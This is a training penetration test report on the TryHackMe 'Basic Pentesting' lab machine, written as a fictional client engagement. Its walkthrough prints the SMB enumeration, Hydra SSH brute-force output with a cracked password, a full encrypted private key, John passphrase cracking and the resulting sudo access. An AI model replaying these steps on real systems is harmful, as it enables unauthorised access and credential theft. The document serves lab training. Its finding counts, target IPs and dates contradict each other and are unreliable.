Penetration Test
Report of Findings

Basic Pentesting Ltd.

February 11, 2023

Whisperer256

OFFENSECURITY CONFIDENTIAL
No part of this document may be disclosed to outside sources without the explicit written authorization of OffenSecurity

Table of Contents

Statement of Confidentiality

The contents of this document have been developed by OffenSecurity. OffenSecurity and Basic Pentesting considers the contents of this document to be proprietary and business confidential information. This information is to be used only as a practitional, fictional and educational purpose. This document may be released to another vendor, business partner or contractor, with the GNU Open Source License. Additionally, any portion of this document could be communicated, reproduced, copied or distributed without the prior consent of OffenSecurity.

The contents of this document do not constitute legal advice. OffenSecurity's offer of services that relate to compliance, litigation or other legal interests are not intended as legal counsel and should not be taken as such. The assessment detailed herein (''Basic Pentesting Ltd.'' from TryHackMe against a fictional company for training and examination purposes, and the vulnerabilities in no way affect TryHackMe external or internal infrastructure.

Engagement Contacts

Basic Pentest Contacts		
Primary Contact	**Title**	**Primary Contact Email**
John Doe	Chief Executive Officer	john@basicpentest.thm
Secondary Contact	**Title**	**Secondary Contact Email**
Bob Lee Swagger	Chief Technical Officer	bob@basicpentest.thm

Assessor Contacts		
Assessor Name	**Title**	**Assessor Contact Email**
OffenSecurity	Security Consultant Company	notexistyet@offensecurity.local
Whisperer256	Junior Penetration Tester	whisperer256@protonmail.com

Executive Summary

Basic Pentesting Ltd. (''Basic Pentesting'' herein) contracted OffenSecurity to perform a Network Penetration Test of Basic Pentesting's Internally facing network to identify security weaknesses, determine the impact to Basic Pentesting, document all findings in a clear and repeatable manner, and provide remediation recommendations.

Approach

OffenSecurity performed testing under a "black box" approach February 08, 2023, to February 09, 2023 without credentials or any advance knowledge of Basic Pentesting's internally facing environment with the goal of identifying unknown weaknesses. Testing was performed from a non-evasive standpoint with the goal of uncovering as many misconfigurations and vulnerabilities as possible. Testing was performed remotely via a VPN (Virtual Private Network) connection that was provisioned specifically for this assessment. Each weakness identified was documented and manually investigated to determine exploitation possibilities and escalation potential. OffenSecurity sought to demonstrate the full impact of every vulnerability, up to and including privilege compromise. If OffenSecurity were able to gain a foothold in the internal network, any other human with the same knowledge can gain a foothold on the network too and that is the impact of an internal network compromise.

Scope

The scope of this assessment was one internal IP Address.

In-Scope Assets

Host/URL/IP Address	Description
10.10.46.225/24 (Generated by THM)	Basic Pentesting Internal IP Address

Table 1: Scope Details

Assessments Overview and Recommendations

During the internal penetration test against Basic Pentesting, OffenSecurity identified six (6) findings that threaten the confidentiality, integrity, and availability of Basic Pentesting's information systems. The findings were categorized by severity level, with three (3) of the findings being assigned a high-risk rating, one (2) medium-risk, and one (1) low risk. There was also one (1) informational finding related to enhancing security monitoring capabilities within the internal network.

The tester found Basic Pentesting's patch and vulnerability management to be well-maintained. None of the findings in this report were related to missing operating system or third-party patches of known vulnerabilities in services and applications that could result in unauthorized access and system compromise. Each flaw discovered during testing was related to a misconfiguration or lack of hardening, with most falling under the categories of weak authentication and weak authorization.

The tester also found shared folders with excessive permissions, meaning that all users in the internal network can access a considerable amount of data. While sharing files internally between departments and users is important to day-to-day business operations, wide open permissions on file shares may result in unintentional disclosure of confidential information. Even if a file share does not contain any sensitive information today, someone may unwittingly put such data there thinking it is protected when it isn't. This configuration should be changed to ensure that users can access only what is necessary to perform their day-to-day duties.

The next issue is a weak password policy involving SSH authentication that allows possibility to gain a foothold on the network once the username has been guessed. This protocol (however secure) can be dangerous if it not having a good protection mechanism or a good password policy culture. Basic Pentesting should begin formulating a plan to properly configure the service (if always need) or disable the dangerous service.

The next issue was a weak configuration involving authentication configuration key that allows any authenticated user to steal a component of the authentication process that can often be guessed offline (via password "cracking") to reveal the human-readable form of the account's password. These types of service accounts typically have more privileges than a standard user, so obtaining one of their passwords in clear text could result in lateral movement or privilege escalation and eventually in complete internal network compromise

A webserver was also found to be running two (2) web applications, none of them use weak and easily guessable credentials that may able to gain access to the underlying server.

Finally, the tester noticed that testing activities seemed to go mostly unnoticed, which may represent an opportunity to improve visibility into the internal network and indicates that a real-world attacker might remain undetected if internal access is achieved. Basic Pentesting should create a remediation plan based on the Remediation Summary section of this report, addressing all high findings as soon as possible according to the needs of the business. Basic Pentesting should also consider performing periodic vulnerability assessments if they are not already being performed. Once the issues identified in this report have been addressed, a more collaborative, in-depth security assessment may help identify additional opportunities, making it more difficult for attackers to move around the network and increasing the likelihood that Basic Pentesting will be able to detect and respond to suspicious activity.

Network Penetration Test Assessment Summary

OffenSecurity began all testing activities from the perspective of an unauthenticated user on the internal network. Basic Pentesting provided the tester an IP Address but did not provide additional information such as operating system or configuration information.

Summary of Findings

During the course of testing, OffenSecurity uncovered a total of five (6) findings that pose a material risk to Basic Pentesting's information systems. OffenSecurity also identified one informational finding that, if addressed, could further strengthen Basic Pentesting's overall security posture. Informational findings are observations for areas of improvement by the organization and do not represent security vulnerabilities on their own. The below table provides a summary of the findings by severity level.

Finding Severity			
High	**Medium**	**Low**	**Total**
3	**2**	**1**	**6**

Table 2: Severity Summary

Below is a high-level overview of each finding identified during testing.

Finding #	Severity Level	Finding Name
1.	High	Weak SSH Passwords
2.	High	Insecure SSH Key File Permission
3.	High	Weak SSH Key passphrase
4.	Medium	Username Enumeration
5.	Medium	Insecure File Share
6.	Low	Directory Listing Enabled
7.	Info	Enhance Security Monitoring Capabilities

Table 3: Finding List

Internal Network Compromise Walkthrough

During the course of the assessment, OffenSecurity was able to gain a foothold and compromise the Basic Pentesting host. The steps below demonstrate steps taken from initial access to compromise and does not include all vulnerabilities and misconfigurations discovered during the course of testing. The intent of this attack is to demonstrate to Basic Pentesting the impact of each vulnerability shown in this report and how they fit together to demonstrate the overall risk of the client environment and help to prioritize remediation efforts (i.e., patching two flaws quickly could break up the attack chain while the company walk to remediate all issues reported). While other findings shown in this report could be leverage to gain a similar level of access, this attack chain shows the initial path taken by the tester to achieve the compromise.

Detailed Walkthrough

OffenSecurity performed the following to fully compromise the Basic Pentesting host.

1. The tester utilize the SmbClient tools to obtain, a text file base message of two users, Jan and Kay.
2. Using the SSH brute forcing techniques, the Hydra tool to reveal the user's SSH password which granted a foothold in the host with the Jan user.
3. The tester than ran the Linpeas.sh, a bash version of the popular privilege escalation collection script to enumerate the host and create a visual representations of privilege escalation paths. Upon review, the tester found that the Kay user contain an SSH key file with a bad permission.
4. After getting the encrypted content of the SSH key file, tester use the ssh2john.py tool, a python version tool that can reveal encrypted SSH key to hash.
5. This password hash was successfully cracked offline using the John tool to reveal the user kay clear text password that granted another foothold with a more privilege than the first one.

Detailed reproduction steps for this attack are as follow:

Upon connecting to the network and after revealing the opened port, the tester start the SmbClient tool and was able to anonymously log into the file sharing.

```
┌─[whisperer@256]─[~/Desktop/Ethical Hacking/C
└──╼ $smbclient -L \\\\10.10.46.245\\
Password for [WORKGROUP\whisperer]:

        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk
        IPC$            IPC       IPC Service
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            BASIC2
```

Figure 1: Anonymously log into the file sharing.

And the tester gets a file inside the Anonymous shared folder.

```
└──╼ $smbclient \\\\10.10.123.176\\Anonymous
Password for [WORKGROUP\whisperer]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 13:31:20 2018
  ..                                  D        0  Thu Apr 19 13:13:06 2018
  staff.txt                           N      173  Thu Apr 19 13:29:55 2018

                14318640 blocks of size 1024. 11094356 blocks available
smb: \>
```

Figure 2: Getting the file staff.txt into the Anonymous shared folder.

The tester proceeds to enumerate two (2) user account, in a text message leaving to staff.

```
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay
```

Figure 3: Enumerate the two potentially valid users.

Using the previous enumerated users, the tester starts the Hydra tool to attempt an SSH brute force login, which successfully getting the password for the user Jan.

```
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in mili
ese *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-19 07:25:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recomm
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent over
[DATA] max 16 tasks per 1 server, overall 16 tasks, 9999 login tries (l:1/p:9999),
[DATA] attacking ssh://10.10.123.176:22/
[STATUS] 162.00 tries/min, 162 tries in 00:01h, 9843 to do in 01:01h, 16 active
[STATUS] 114.00 tries/min, 342 tries in 00:03h, 9663 to do in 01:25h, 16 active
[STATUS] 111.86 tries/min, 783 tries in 00:07h, 9222 to do in 01:23h, 16 active
[STATUS] 108.13 tries/min, 1622 tries in 00:15h, 8383 to do in 01:18h, 16 active
[22][ssh] host: 10.10.123.176   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 6 final worker threads did not complete unt
[ERROR] 6 targets did not resolve or could not be connected
```

Figure 4: Brute force SSH login for user Jan

The tester proceeded to getting a foothold on the Basic Pentesting host using SSH (a Secure Shell protocol).

```
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$ id
uid=1001(jan) gid=1001(jan) groups=1001(jan)
jan@basic2:~$ pwd
/home/jan
jan@basic2:~$ ls
jan@basic2:~$
```

Figure 5: Gaining access to Basic Pentesting host.

The tester than ran the Bash version script of the popular LinPeas linux privilege escalation tool to collect information such as users, groups, computer properties, kernel version, outdated installations and bad configuration in system and files and more. Upon testing many vulnerable paths to escalate, the privilege has been identified.

Tester, by watching into the system, where are store other user directory, identified an SSH key file with a not well secure permission. By getting this key file, tester can leverage to the user the SSH key file is for, and obtained higher privilege.

```
jan@basic2:/home/kay$ ls -lisa .ssh/
total 20
798691 4 drwxr-xr-x 2 kay kay 4096 Apr 23  2018 .
786930 4 drwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..
798921 4 -rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
798917 4 -rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
798918 4 -rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub
jan@basic2:/home/kay$
```

Figure 6: Weak file permission in user Kay directory.

This SSH key file contain a passphrase, and to extract this exact passphrase, tester read the encoded contain of the key file.

```
jan@basic2:/home/kay$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqyklKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqGIrM+eWVoXOrZPBlv8iyNTDdDE
3jRjqbOGlPs01hAWKIRxUPaEr18lcZ+OlY00Vw2oNL2xKUgtQpV2jwH04yGdXbfJ
LYWlXxnJJpVMhKC6a75pe4ZVxfmMt0QcK4oKO1aRGMqLFNwaPxJYV6HauUoVExN7
bUpo+eLYVs5mo5tbpWDhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHzNEwMppE2i8mFSaVFCJEC3cDgn5TvQUXfh6CJJRVrhdxVy
VqVjsot+CzF7mbWm5nFsTPPlOnndC6JmrUEUjeIbLzBcW6bX5s+b95eFeceWMmVe
B0WhqnPtDtVtg3sFdjxp0hgGXqK4bAMBnM4chFcK7RpvCRjsKyWYVEDJMYvc87Z0
ysvOpVn9WnFOUdON+U4pYP6PmNU4Zd2QekNIWYEXZIZMyypuGCFdA0SARf6/kKwG
oHOACCK3ihAQKKbO+SflgXBaHXb6k0ocMQAWIOxYJunPKN8bzzlQLJs1JrZXibhl
VaPeV7X25NaUyu5u4bgtFhb/f8aBKbel4XlWR+4HxbotpJx6RVByEPZ/kViOq3S1
GpwHSRZon320xA4hOPkcG66JDyHlS6B328uViI6Da6frYiOnA4TEjJTPO5RpcSEK
QKIg65gICbpcWj1U4I9mEHZeHc0r2lyufZbnfYUr0qCVo8+mS8X75seeoNz8auQL
4DI4IXITq5saCHP4y/ntmz1A3Q0FNjZXAqdFK/hTAdhMQ5diGXnNw3tbmD8wGveG
VfNSaExXeZA39jOgm3VboN6cAXpz124Kj0bEwzxCBzWKi0CPHFLYuMoDeLqP/NIk
oSXloJc8aZemIl5RAH5gDCLT4k67wei9j/JQ6zLUT0vSmLono1IiFdsMO4nUnyJ3
z+3XTDtZoUl5NiY4JjCPLhTNNjAlqnpcOaqad7gV3RD/asml2L2kB0UT8PrTtt+S
baXKPFH0dHmownGmDatJP+eMrc6S896+HAXvcvPxlKNtI7+jsNTwuPBCNtSFvo19
l9+xxd55YTVo1Y8RMwjopzx7h8oRt7U+Y9N/BVtbt+XzmYLnu+3qOq4W2qOynM2P
nZjVPpeh+8DBoucB5bfXsiSkNxNYsCED4lspxUE4uMS3yXBpZ/44SyY8KEzrAzaI
fn2nnjwQ1U2FaJwNtMN5OIshONDEABf9Ilaq46LSGpMRahNNXwzozh+/LGFQmGjI
I/zN/2KspUeW/5mqWwvFiK8QU38m7M+mli5ZX76snfJE9suva3ehHP2AeN5hWDMw
X+CuDSIXPo10RDX+OmmoExMQn5xc3LVtZ1RKNqono7fA21CzuCmXI2j/LtmYwZEL
OScgwNTLqpB6SfLDj5cFA5cdZLaXL1t7XDRzWggSnCt+6CxszEndyUOlri9EZ8XX
```

Figure 7.1: Reading SSH key file of user Kay

```
oHhZ45rgACPHcdWcrKCBfOQS01hJq9nSJe2W403lJmsx/U3YLauUaVgrHkFoejnx
CNpUtuhHcVQssR9cUi5it5toZ+iiDfLoyb+f82Y0wN5Tb6PTd/onVDtskIlfE731
DwOy3Zfl0l1FL6ag0iVwTrPBl1GGQoXf4wMbwv9bDF0Zp/6uatViV1dHeqPD8Otj
Vxfx9bkDezp2Ql2yohUeKBDu+7dYU9k5Ng0SQAk7JJeokD7/m5i8cFwq/g5VQa8r
sGsOxQ5Mr3mKf1n/w6PnBWXYh7n2lL36ZNFacO1V6szMaa8/489apbbjpxhutQNu
Eu/lP8xQlxmmpvPsDACMtqA1IpoVl9m+a+sTRE2EyT8hZIRMiuaaoTZIV4CHuY6Q
3QP52kfZzjBt3ciN2AmYv205ENIJvrsacPi3PZRNlJsbGxmxOkVXdvPC5mR/pnIv
wrrVsgJQJoTpFRShHjQ3qSoJ/r/8/D1VCVtD4UsFZ+j1y9kXKLaT/oK491zK8nwG
URUvqvBhDS7cq8C5rFGJUYD79guGh3He5Y7bl+mdXKNZLMlzOnauC5bKV4i+Yuj7
AGIExXRIJXlwF4G0bsl5vbydM55XlnBRyof62ucYS9ecrAr4NGMggcXfYYncxMyK
AXDKwSwwwf/yHEwX8ggTESv5Ad+BxdeMoiAk8c1Yy1tzwdaMZSnOSyHXuVlB4Jn5
phQL3R8OrZETsuXxfDVKrPeaOKEE1vhEVZQXVSOHGCuiDYkCA6al6WYdI9i2+uNR
ogjvVVBVVZIBH+w5YJhYtrInQ7DMqAyX1YB2pmC+leRgF3yrP9a2kLAaDk9dBQcV
ev6cTcfzhBhyVqml1WqwDUZtROTwfl80jo8QDlq+HE0bvCB/o2FxQKYEtgfH4/UC
D5qrsHAK15DnhH4IXrIkPlA799CXrhWi7mF5Ji41F3O7iAEjwKh6Q/YjgPvgj8LG
OsCP/iugxt7u+91J7qov/RBTrO7GeyX5Lc/SW1j6T6sjKEga8m9fS10h4TErePkT
t/CCVLBkM22Ewao8glguHN5VtaNH0mTLnpjfNLVJCDHl0hKzi3zZmdrxhql+/WJQ
4eaCAHk1hUL3eseN3ZpQWRnDGAAPxH+LgPyE8Sz1it8aPuP8gZABUFjBbEFMwNYB
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----
```

Figure 7.2: Reading SSH key file of user Kay

Tester than ran the Python version of the popular SSH2John tools to extract the passphrase hash.

And extracting the hash, tester than was able to successfully “crack” this password offline to reveal clear text value.

```
$john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 3
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying e
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:06 DONE (2023-02-09 12:16) 0.1639g/s 2351Kp/s 2351Kc/s 23
```

Figure 8: Cracking SSH key passphrase hash with John.

Using this credential, the tester logged with the user Kay over Secure Shell (SSH) and getting a foothold as administrator.

```
kay@basic2:~$ sudo -l
[sudo] password for kay:
Matching Defaults entries for kay on basic2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
/snap/bin

User kay may run the following commands on basic2:
    (ALL : ALL) ALL
kay@basic2:~$
```

Figure 9: Login to user Kay

Remediation Summary

As a result of this assessment there are several opportunities for Basic Pentesting to strengthen its internal network security. Remediation efforts are prioritized below starting with those that will likely take the least amount of time and effort to complete. Basic Pentesting should ensure that all remediation steps and mitigating controls are carefully planned and tested to prevent any service disruptions or loss of data.

Short Term

- [Finding 1] – Set strong (24+ character) passwords on all accounts.
- [Finding 6] – Disable Directory Listing on the affected web server
- [Finding 1] – Enforce a password change for all users because of the compromise.

Medium Term

- [Finding 1] – Enhance the host password policy
- [Finding 5] – Perform a network share file audit
- [Finding 7] – Enhance network logging and monitoring
- [Finding 7] – Implement an enterprise endpoint detection & response solution

Long Term

- Perform ongoing internal network vulnerability assessments and password audits
- Perform periodic security assessments
- Educate systems and network administrators and developers on security hardening best practices compromise
- Enhance network segmentation to isolate critical hosts and limit the effects of an internal compromise